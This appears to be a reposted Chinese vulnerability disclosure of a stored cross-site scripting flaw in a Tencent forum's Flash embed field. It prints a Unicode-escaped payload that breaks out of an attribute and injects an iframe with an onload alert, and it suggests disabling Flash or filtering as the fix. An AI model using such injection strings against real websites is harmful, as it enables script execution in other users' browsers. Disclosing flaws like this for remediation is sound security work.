腾讯某站储存型xss及修复 - 网站安全 - 自学php

出现问题的站点

 

http://bbs.qrobot.qq测试数据

 

 

 

在发帖处的flash 里插入构造好的xss代码

 

http://1测试数据\u0022\u003e\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u002f\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e/1.swf

 

 

 

 

修复方案： 关闭 flash 或者 过滤 

 

查看更多关于腾讯某站储存型xss及修复 - 网站安全 - 自学php的详细内容...